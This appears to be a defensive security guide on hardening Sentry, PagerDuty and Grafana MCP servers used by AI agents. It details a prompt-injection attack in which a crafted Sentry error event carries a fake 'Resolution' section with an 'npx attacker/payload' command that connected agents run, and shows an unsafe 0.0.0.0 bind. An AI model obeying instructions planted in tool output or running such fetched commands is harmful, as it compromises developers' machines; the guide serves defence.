Observability MCP servers from Sentry, PagerDuty, and Grafana each introduce security failure modes that require operator-side configuration even after vendor hardening.

Every major observability vendor now ships an official MCP server. Grafana, Datadog, Sentry, Splunk, and PagerDuty all maintain one. The pitch is straightforward: wire your coding or SRE agent into live telemetry, and it can investigate Sentry errors, acknowledge PagerDuty incidents, and query Grafana dashboards without switching tools.

The security picture differs by vendor in ways that matter for how you configure your deployment. There are three distinct failure modes, and they do not all look like each other:

  • Sentry: the injection risk is architectural. An attacker who possesses only a public DSN can plant a payload in your error stream that a connected agent will execute as trusted output. Sentry acknowledged the underlying issue as not fully fixable at the ingestion layer.
  • PagerDuty: the official self-hosted server ships with sensible read-only defaults. The real exposure is that the API token scope determines the agent’s permission boundary, and most teams configure it too broadly.
  • Grafana: the MCP server had an unauthenticated 0.0.0.0 binding as of September 2025. Current versions default to localhost with Host/Origin validation, but legacy Docker commands persist in real deployments.

This guide covers each failure mode, what the vendor has and has not fixed, and the operator controls that close each gap.

What trust boundary are observability MCP servers defending?

When a coding or SRE agent connects to an observability MCP server, the data path flows from an external telemetry backend through the MCP server to the agent. Models treat tool responses from connected MCP servers as trusted, structured output. The skepticism they apply to a user message does not carry over to a tool response. That asymmetry is the root cause across all three failure modes. For an in-depth look at why the MCP transport architecture makes this asymmetry structural, see MCP STDIO by Design: RCE Risks and Kubernetes Defense.

graph TD
    ATK["Attacker"]
    NP["Network Peer"]

    subgraph Telemetry["Telemetry Layer"]
        ING["Sentry Error Ingest\n(public DSN, no auth)"]
        PD_BE["PagerDuty Backend"]
        GRA_BE["Grafana Backend"]
    end

    subgraph MCP["MCP Layer"]
        SM["Sentry MCP Server"]
        PM["PagerDuty MCP Server"]
        GM["Grafana MCP Server"]
    end

    AG["AI Agent"]
    DEV["Developer Machine"]

    ATK -->|"Mode A: crafted event\nvia public DSN"| ING
    ING --> SM
    SM -->|"Trusted tool output\ninjection arrives here"| AG

    PM --> AG
    GM --> AG
    NP -->|"Mode C: unauthenticated SSE\n0.0.0.0 - legacy only"| GM

    AG -->|"Mode B: broad token\nenables write actions"| PD_BE
    AG -->|"Proposes npx command"| DEV

Trust boundary diagram: three failure modes mapped to where they enter the agent’s context. Mode A is an architectural problem that cannot be fixed at the vendor layer. Modes B and C are configuration hygiene problems vendors are actively hardening.

Three places the default configuration creates risk:

  1. Untrusted content flows in at ingest (Sentry): an attacker plants a payload in the telemetry backend using a public credential; the agent reads it as trusted MCP output.
  2. Write access is broader than intended (PagerDuty): the API token the MCP server uses carries more permission than the agent needs; enabling write tools without narrowing token scope gives the agent write access to production operations.
  3. MCP transport is reachable without authentication (Grafana, historical): a network-adjacent host could connect to the MCP server and issue tool calls with no credentials.

Failure mode A: untrusted telemetry through a public credential

On June 17, 2026, Tenet Security disclosed a technique they called “agentjacking”: using the Sentry MCP server as a delivery path for prompt injection that results in code execution on the developer’s machine.

The attack depends on a design property of Sentry: the DSN (Data Source Name) is documented as safe to embed in public-facing JavaScript. It is a write-only, unauthenticated credential by design, because Sentry’s error ingest endpoint must accept events from frontend clients running in browsers where no secret can be kept.

An attacker who finds an exposed DSN (Tenet identified 2,388 organizations with publicly exposed Sentry credentials) does the following:

  1. POSTs a crafted error event to Sentry’s ingest endpoint using the public DSN. No authentication required.
  2. Waits for a developer to ask their connected coding agent to investigate Sentry errors.
  3. The Sentry MCP server returns the crafted event to the agent as trusted tool output.
  4. The payload contains a fabricated “Resolution” section, structurally identical to Sentry’s own MCP response template, containing an npx command. The agent executes it with the developer’s credentials.
sequenceDiagram
    participant ATK as Attacker
    participant ING as Sentry Ingest
    participant MCP as Sentry MCP Server
    participant AG as AI Agent
    participant DEV as Developer Machine

    ATK->>ING: POST crafted error event (public DSN, no auth required)
    Note over ING: Event stored in project error stream
    DEV->>AG: "Investigate the latest Sentry errors"
    AG->>MCP: list_errors()
    MCP->>AG: Returns events including attacker's fake Resolution section
    Note over AG: Processes response as trusted structured output
    AG->>DEV: Proposes: npx attacker/payload
    Note over AG,DEV: Human-confirmation gate here breaks the chain
    DEV->>DEV: Executes with developer privileges (no gate = compromise)

Agentjacking execution path. A human-confirmation gate before command execution is the only operator control that reliably breaks this chain.

Tenet tested configurations where the agent’s system prompt explicitly instructed it to treat MCP tool output as untrusted and never execute external commands without human confirmation. The agents still executed the payload 85% of the time across more than 100 agents in controlled testing. The Cloud Security Alliance independently confirmed this result.

Sentry was notified on June 3, 2026, acknowledged the report, and added a global content filter targeting the specific proof-of-concept payload string. Sentry characterized the underlying issue as “not technically defensible” at the ingestion layer: it cannot distinguish malicious payloads from legitimate error messages that happen to contain code snippets and remediation notes without filtering legitimate content. A string-match filter is bypassed by varying the payload.

The same exposure class applies to any observability MCP server that returns attacker-influenceable data as trusted tool output, including error messages, incident notes, log lines, and alert annotations. The New Stack and others have reported that Datadog, PagerDuty, and Jira have the same structural exposure. The distinguishing variable is how easily an attacker can plant the content. Sentry is worst-case because a public DSN is sufficient; for vendors requiring authenticated internal write access, the attacker must first get inside, but the injection mechanic is identical once they do.

Operator mitigations (required, because Sentry cannot fix this at ingest):

  • Require human confirmation before command execution. This is the highest-value control and the only one that reliably breaks the chain. An agent that proposes npx attacker/payload but waits for a human to approve before running it cannot be weaponized automatically. Prompt instructions alone are not sufficient (the 85% figure confirms this).
  • Restrict which tools the agent can invoke. If the agent can read Sentry errors but cannot call shell commands or run npm packages, the payload has nowhere to land.
  • Rotate exposed DSNs. If a DSN appears in a leaked frontend bundle or public repository, rotate it. This narrows the attacker’s window but does not eliminate the risk.
  • Treat Sentry’s content filter as non-durable. It only blocks the disclosed PoC string. Any variation on that string bypasses it.

For a related MCP attack vector where the configuration file itself is the injection surface, see TrustFall: MCP Config Poisoning RCE in AI Coding Agents.

Failure mode B: mutation capability and RBAC scoping

PagerDuty’s official self-hosted MCP server has a sensible default that the original reporting on this topic got wrong: write tools are disabled by default. The README states explicitly: “By default, the MCP server only exposes read-only tools. To enable tools that can modify your PagerDuty account (write-mode tools), you must explicitly start the server with the --enable-write-tools flag.”

That is the right default. The hardening points for this mode are different from what the headlines implied.

Write capability as a privileged configuration change. Once --enable-write-tools is set, the agent can modify services, on-call schedules, and response policies. Treat enabling it the same way you treat granting write access to a production database: a deliberate, audited change requiring a separate service account, not a convenience toggle on a shared instance. Prefer separate server instances for read-only investigation and write-capable automation, so the read path for error triage cannot become a write path through injection or misconfiguration.

The token is the RBAC boundary. The PagerDuty MCP server inherits all permissions from the API token used to connect. There is no internal permission narrowing below the write-tools flag. A token minted from a PagerDuty Admin account gives the agent Admin reach across your entire organization.

Use a dedicated service account scoped to the minimum necessary role:

  • Observer: read-only. Use for agents that investigate and report on incidents.
  • Responder: can acknowledge and resolve incidents. Use only when the agent should take action, not just surface information.
  • Manager or Admin: do not use for agent service accounts. The blast radius of a misfire or injection is too broad.
// Read-only connection: default self-hosted config, Observer service account
{
  "mcpServers": {
    "pagerduty-readonly": {
      "command": "pagerduty-mcp-server",
      "env": {
        "PAGERDUTY_API_TOKEN": "<service-account-observer-token>"
      }
    }
  }
}
# Write-enabled: separate instance, explicit flag, Responder-role token
# Never use an Admin token for an agent service account
pagerduty-mcp-server --enable-write-tools

The hosted-server documentation gap. PagerDuty offers a hosted MCP server at mcp.pagerduty.com/mcp (mcp.eu.pagerduty.com/mcp for EU customers). The public documentation does not state whether write tools are enabled or disabled by default on the hosted endpoint, or how tool scope is enforced. If you connect to the hosted server, you cannot verify its default posture from the documentation alone. Contact PagerDuty to confirm before connecting an agent with write intent, or limit production connections to the self-hosted server where you control the flags explicitly.

Failure mode C: network bind and unauthenticated transport

The Grafana story is a “was insecure, since hardened, but legacy commands persist in real deployments” situation. Secondary coverage still repeats the stale claim, so precision matters here.

September 2025 (historical): an MCP security advisory documented that when the Grafana MCP server was launched with the Docker SSE command from the then-current README, it bound 0.0.0.0:8000. Any host on the network could connect to this endpoint and issue tool calls with no credentials, including calls to create, update, or delete dashboards.

Current state (verified 2026-07-02): the default transport for grafana/mcp-grafana is stdio. For HTTP transport, the -a/--address flag defaults to localhost:8000. Host and Origin validation is enforced on every route, rejecting connections from outside the loopback allowlist with 403. This is a hardened default.

The residual risk is real-world drift:

  • Copy-pasted Docker commands from old tutorials, internal runbooks, or blog posts that include explicit 0.0.0.0 bindings.
  • Pinned Docker image versions that predate the hardening.
  • Switching to -t sse transport and assuming the address defaults to localhost, when an explicit routable address removes the loopback protection.
# Safe: current default is stdio. For HTTP transport, keep the loopback bind explicitly.
mcp-grafana -t streamable-http -a localhost:8000

# Unsafe: do not use legacy commands with this pattern
# mcp-grafana -t sse -a 0.0.0.0:8000

For remote access to the Grafana MCP server, bind to localhost and front the MCP transport with an authenticating reverse proxy or mTLS gateway. Do not expose the MCP interface on a routable address without an authentication layer in front of it.

Audit action: check how your Grafana MCP server is actually launched. The Docker run command, the -a flag value, and the image tag are the three variables that determine whether you are running the hardened default or a legacy-unsafe configuration. The docker inspect output and your deployment manifests are the authoritative source, not the current README.

Observability MCP server security: the hardening checklist

The unifying principle across all three modes: the agent sits at the enforcement point, not the vendor. Sentry cannot fix injection at the ingestion layer. PagerDuty cannot know which role your service account should have. Grafana cannot prevent a team from copy-pasting a legacy 0.0.0.0 bind command. The operator controls that generalize:

ControlSentryPagerDutyGrafana
Treat telemetry as untrusted inputRequired: architectural gap, vendor-acknowledgedRecommended: injection class applies if attacker reaches internal write pathRecommended
Read-only tool set by defaultNo toggle: Sentry MCP is read-only by designYes: default is read-only. Never enable write-tools without a separate Responder service accountYes: stdio default; HTTP transport defaults to localhost
Least-privilege credentialRotate exposed DSNs; do not embed DSNs beyond intended frontend scopeObserver account for read-only; Responder for write-enabled instance. Never AdminScoped Grafana service account; never dashboard editor or admin role
Localhost-only transport bindN/A: Sentry uses cloud ingest, not a local transportN/A: hosted server. Self-hosted: standard localhost bind appliesUse -a localhost:8000 for HTTP. Never -a 0.0.0.0:8000
Human confirmation before command executionCritical: highest-value mitigation for Mode A injectionRecommended: prevents injection-driven write actionsRecommended

The NSA’s MCP Security Cybersecurity Information Sheet (PP-26-1834), detailed in our implementation guide for platform engineers, identifies these same enforcement points: trust boundaries at the MCP layer, output sanitization before action, least privilege on credentials, and tool sandboxing. These are structural requirements for any MCP server handling data that an outside party can influence, not observations about any single vendor.

How does MCP hardening fit into agent governance?

MCP hardening is distinct from the agent governance question of who owns and is accountable for an agent. Agent governance addresses organizational accountability, permission scoping across the agent’s full capability surface, and audit logging for agent actions. MCP hardening addresses a narrower question: whether the specific data channels the agent uses are configured to limit injection risk and blast radius.

Both layers are necessary. A well-governed agent that reads from a misconfigured Sentry MCP server can still execute an injected payload. A hardened MCP server without agent governance is a locked front door on a building with no access policy behind it.

For platform teams building the MCP hardening layer:

  • Own the MCP server configuration as infrastructure, not just the agent’s prompts and tools. Version-control the MCP server config alongside the agent config.
  • Treat MCP server deployments the same way you treat API gateway deployments: least-privilege credentials, network policy, and audit logging on the server, not just on the agent.
  • Add MCP server bind addresses, credential scopes, and write-tools flags to your security review checklist for any agent deployment. These are the variables that determine blast radius when something goes wrong.

Frequently asked questions

Does the agentjacking attack mean I should stop using the Sentry MCP server?

Not necessarily, but you cannot rely on Sentry to fix the underlying problem. Sentry acknowledged the injection as “not technically defensible” at ingestion and only filtered the specific PoC payload string from the initial disclosure. Any variation on that string bypasses the filter. Mitigate on your side: require human confirmation before the agent executes commands, restrict which tools the agent can invoke, and rotate exposed DSNs found in public bundles or leaked frontend code.

Does the PagerDuty MCP server let an AI agent modify incidents and on-call schedules by default?

No. The self-hosted server exposes only read-only tools by default, and write tools require the explicit --enable-write-tools flag. Treat enabling that flag as a privileged configuration change and scope the API token to a least-privilege service account, because the token’s PagerDuty role is the actual permission boundary. The hosted server at mcp.pagerduty.com/mcp does not document its default tool scope publicly, so verify before connecting.

Does the Grafana MCP server still bind to 0.0.0.0 with no authentication?

Not in current versions. A September 2025 advisory documented an unauthenticated SSE interface on 0.0.0.0:8000 via the then-current Docker command. The current grafana/mcp-grafana defaults to stdio transport, with HTTP transport binding to localhost:8000 with Host/Origin validation. The risk today is legacy Docker commands and pinned old versions still running in real environments. Audit how yours is actually launched before assuming you are on the hardened default.

Why did agents execute the malicious command even after being told to treat tool output as untrusted?

The skepticism is architectural, not promptable. Tenet’s testing showed agents told to treat MCP output as untrusted still executed the injected payload 85% of the time. Models process connected server tool responses as structured ground truth, unlike user messages where they apply more skepticism. That asymmetry is why a hard human-confirmation gate on command execution matters more than prompt wording, and why the mitigation must live on the operator side, not in the prompt.

What is the single highest-value control for observability MCP servers?

Least privilege on the credential the MCP server uses, combined with a read-only default tool set. Both injection attacks and mis-scoped write access cash out through what the agent is allowed to do with what it reads. A narrowly-scoped, read-only service-account credential caps the blast radius of any failure mode regardless of vendor, and it requires no code changes to implement. Start there before addressing transport bind or injection hardening.